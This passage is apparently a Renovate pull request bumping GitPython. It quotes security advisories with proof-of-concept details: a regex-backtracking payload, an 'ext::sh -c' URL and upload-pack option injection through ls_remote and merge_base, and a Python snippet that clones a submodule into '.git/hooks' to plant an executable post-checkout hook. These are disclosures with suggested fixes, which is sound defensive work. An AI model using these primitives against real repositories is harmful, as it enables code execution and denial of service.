../and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, andRootModule.update()rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.Impact limits and compatibility observations
../and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.RootModule.update()rejects the tested commit-to-commit symlinked path before its internalmove()call, so ordinary clone/update is not an automatic trigger.AI assistance and credit
This report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.
Requested credit: GitHub user
dpfkdlemtp.Severity
Moderate
References
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
CVE-2026-110856 / GHSA-m64x-33q8-m5h7
More information
Details
Summary
This is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made
Actor._from_stringregex-free, butparse_actor_and_datestill runs_re_actor_epochon the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.Details
git/objects/util.py:322:.+?and(.*)can both absorb the same run of spaces, and the required(\d+) ([+-]\d+)tail is only checked after them. On a long line with no valid tail, the search retries every split point.It is called from
parse_actor_and_date(git/objects/util.py:335), which runs on the author and committer lines inCommit._deserialize(git/objects/commit.py:917,:931) and on the tagger line ingit/objects/tag.py:129.The published payload (letters plus an unterminated
<) is fast on 3.1.62. Replacing the letters with spaces is not:author)'a'*n + ' <'(advisory payload)' '*nCost grows about 16x for each 4x increase in length.
PoC
End to end, reading
Commit.authoron a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid1191999972 -0700tail takes 1.3 ms.Note for reproducing:
git hash-object -t commit -wrefuses such an object (missingEmail), so the test object was written with--literally. A remote can still serve one, becausefetch.fsckObjectsandtransfer.fsckObjectsdefault to false. This is the same delivery model as CVE-2026-87819 ("craft a commit object with a malformed author field").Impact
CPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to
Commit.author,Commit.committerorTagObject.taggeron a crafted object costs seconds, and a repository can contain many such objects.Suggested fix
Match the leading field name with
.[^ ]*instead of.+?. Both stop at the first space after the first character, but.[^ ]*cannot overlap the following(.*), so the backtracking disappears:Verification on current main (73a72c9):
' '*nat 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).test_parse_actor_and_date_malformed_line_is_linear, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).The full patch (fix plus regression test) is attached below.
Found with AI assistance (Claude) and verified by hand.
Brian Willows
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython command wrappers omit unsafe protocol and option checks
CVE-2026-110857 / GHSA-w8jc-g24h-crhw
More information
Details
Summary
GitPython has spent 2022-2026 rolling out two reusable guards method-by-method:
Git.check_unsafe_protocols(url)(raisesUnsafeProtocolErrorfor<transport>::remote-helper URLs - CVE-2022-24439) andGit.check_unsafe_options(...)(raisesUnsafeOptionErrorfor denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build agitargv from caller-controlled values still have neither:Git.ls_remote(git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; noallow_unsafe_protocolsparameter exists. The same URL throughclone_fromraisesUnsafeProtocolError.Repo.merge_base(git/repo/base.py:895-936) - forwards**kwargs/*revtoself.git.merge_basewith no guard; guarded siblingiter_commitssits 12 lines up. Its exception handler additionally swallows every non-128GitCommandErrorinto[], masking the injection.IndexFile.move(git/index/base.py:1092-1168) - forwards**kwargstogit mvtwice (:1147, :1167); guarded siblingremove()is 23 lines above.Verified unfixed on
main @ a54d159(2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.Impact
Site 1 (
ls_remote) - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (Git(...).ls_remote(attacker_url)) with anext::sh -c ...URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified withprotocol.ext.allow=always(marker executed). git >= 2.38.1 stock config refuses the transport (fatal: transport 'ext' not allowed, rc 128) - GitPython adds no defense-in-depth and surfaces a bareGitCommandError. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.Sites 2/3 - latent argument-injection surface: caller kwargs flow 1:1 into the
gitargv before operands and--(cmd.py:1850opt_args + ext_args), andexecute_kwargs(incl.shell=True/env- the CVE-2023-40267 Windows mechanism) passes through unguarded. Todaygit merge-base/git mvexpose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)
repo.git.ls_remote('ext::/tmp/gp_touch.sh'), stock configUnsafeProtocolErrorfrom GitPythonprotocol.ext.allow=alwaysrepo.git.ls_remote('.', upload_pack=...)repo.merge_base('main','side', upload_pack=...)git merge-base --upload-pack=... main side; rc 129 silently converted to[]repo.index.move(['f1','f2'], output=...)git mv(rc 129)Coverage matrix (main @ a54d159)
check_unsafe_protocols: 7 call sites (_clone,archive,set_url,create,fetch,pull,push) - none onls_remote.check_unsafe_options: 24 call sites incl.ls_remote,iter_commits,IndexFile.remove- absent onmerge_baseandmove.Precedents (same repo, same guard family)
check_unsafe_protocolson the clone path - Site 1 is the sameext::primitive on a sibling API.check_unsafe_options- unguarded kwargs to argv treated as RCE (shell=Trueon Windows).check_unsafe_optionstoarchive/ls_remote/iter_commits/blame; its PoC is literallyrepo.git.ls_remote('.', upload_pack=...). Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout:ls_remotegot options but not protocols;merge_base/movegot neither.Recommended fix (existing helpers, 1-3 lines per site)
Git.ls_remote:if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])+ newallow_unsafe_protocols: bool = False(the_clonepattern, base.py:1536-1538).Repo.merge_base:check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)(theiter_commitspattern); stop masking non-128 statuses.IndexFile.move: theremove()pattern withunsafe_git_pathspec_from_file_options.One advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython validates a submodule's ".git" path only after cloning into it (RCE)
CVE-2026-114145 / GHSA-83vg-56qc-22m7
More information
Details
Summary
create_submodule(name, path, url)clones a submodule into the repo's own.gitdirectory before it rejects the path. A
pathof ".git/hooks" is accepted by thepre-clone check, so the submodule is cloned straight into the live hooks directory,
and a file named
post-checkoutin the submodule becomes an executable.git/hooks/post-checkout. On 3.2.0+ the later index check does raiseValueError,but only after the clone already wrote to disk, and it does not remove the planted
hook; on 3.1.x there is no such check and the call succeeds silently. Either way the
hook runs on the next git operation (e.g. checkout), giving code execution.
Details
The checkout path is validated too late, after the clone has already mutated disk.
This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate
submodule checkout and metadata paths before mutation") set out to enforce.
Submodule.add() calls the permissive path check before cloning, and the strict check
only reaches the ".git" alias at index time, after _clone_repo has written to disk:
git/objects/submodule/base.py (Submodule.add)
599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks"
673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks
714: index.add([sm], write=True) # strict check only triggers here
git/index/base.py (IndexFile._preprocess_add_items)
732: _validate_repo_path(entry.path) # rejects ".git", too late
_to_relative_path only blocks
../absolute/out-of-tree paths;.gitaliases arerejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and
runs at the index boundary. The ValueError it raises at line 732 does not roll back
what _clone_repo already wrote.
Version-dependent behavior:
hook is already on disk and is not removed (incorrect order of validation vs. clone).
not reject
.git; create_submodule(path=".git/hooks", ...) returns with no error atall and the hook is planted silently.
Proof of concept
Setup:
evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)
victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO
sample hooks (the state of a minimal/CI checkout, or
git initwith an emptytemplate dir, or GIT_TEMPLATE_DIR/init.templateDir empty)
import git, os.path as osp
try:
git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub"))
except ValueError:
pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened.
# 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.
victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every
affected version. Any later checkout runs it:
git -C victim checkout -> the hook runs -> code execution
Verified live:
git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and
git checkoutexecuted it.and executed by
git checkout.Impact
Arbitrary code execution. A library/app that creates a submodule from an
attacker-influenced
pathends up with an attacker-controlled executable in.git/hooks, which git runs on ordinary later operations. This affects any servicethat derives a submodule checkout path from untrusted data, e.g. one that ingests a
submodule spec (name/path/url) from a user-supplied manifest or API request and feeds
pathinto create_submodule. On 3.2.0+ the library's own validation is the thing thatfails: it correctly rejects the
.gitpath, but only after the submodule has alreadybeen cloned into place, so an app that traps the ValueError reasonably believes the
unsafe path was blocked.
Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule
path;(2) the target hook name is free in
.git/hooks, true for minimal/CI/containercheckouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default
sample hooks present,
git clonerefuses the non-empty destination and no plant occurs.Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08
(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
Release Notes
gitpython-developers/GitPython (gitpython)
v3.2.1Compare Source
What's Changed
.gitmodulesby @Keerthana-64 in #22782026101by @Byron in #2284New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.2.0...3.2.1
v3.2.0: - SecurityCompare Source
What's Changed
New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.62...3.2.0
v3.1.62Compare Source
What's Changed
New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.61...3.1.62
v3.1.61Compare Source
Fix accidental removal of exploitable regex in
Actorby bringing it back, and deprecating it.What's Changed
New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.60...3.1.61
v3.1.60: SecurityCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.59...3.1.60
v3.1.59: - SecurityCompare Source
What's Changed
repo.index.add()now respects worktree filters #2209Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59
v3.1.58: - Security and FixesCompare Source
What's Changed
New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58
v3.1.57: - Security and FixesCompare Source
What's Changed
New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57
v3.1.56: - SECURITYCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56
v3.1.55: - SecurityCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55
v3.1.54: - SecurityCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54
v3.1.53: - SecurityCompare Source
What's Changed
submodule.update()aftersubmodule.deinit()work by @Byron in #2175New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53
v3.1.52: SecurityCompare Source
https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52
v3.1.51: - SecurityCompare Source
What's Changed
335c0f6to0a019a2by @dependabot[bot] in #21490a019a2to4950ea9by @dependabot[bot] in #2165New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51
v3.1.50Compare Source
What's Changed
335c0f6to53c94d6by @dependabot[bot] in #2141New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50
v3.1.49: - SecurityCompare Source
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49
v3.1.48: - SecurityCompare Source
Accidentally deleted the previous GH release, it did mention the advisory this fixes.
What's Changed
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48
v3.1.47: - with security fixesCompare Source
Advisories
What's Changed
335c0f6to4c63ee6by @dependabot[bot] in #20964c63ee6to5c1b303by @dependabot[bot] in #2106gc.collect()twice intest_renameon Python 3.12 by @EliahKagan in #2109Repo.active_branchresolution for reftable-backed repositories by @Copilot in #2114with_stdout=Falseby @ngie-eign in #2126shlexby @Byron in #2130New Contributors
Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR has been generated by Mend Renovate CLI.
View command line instructions
Checkout
From your project repository, check out a new branch and test the changes.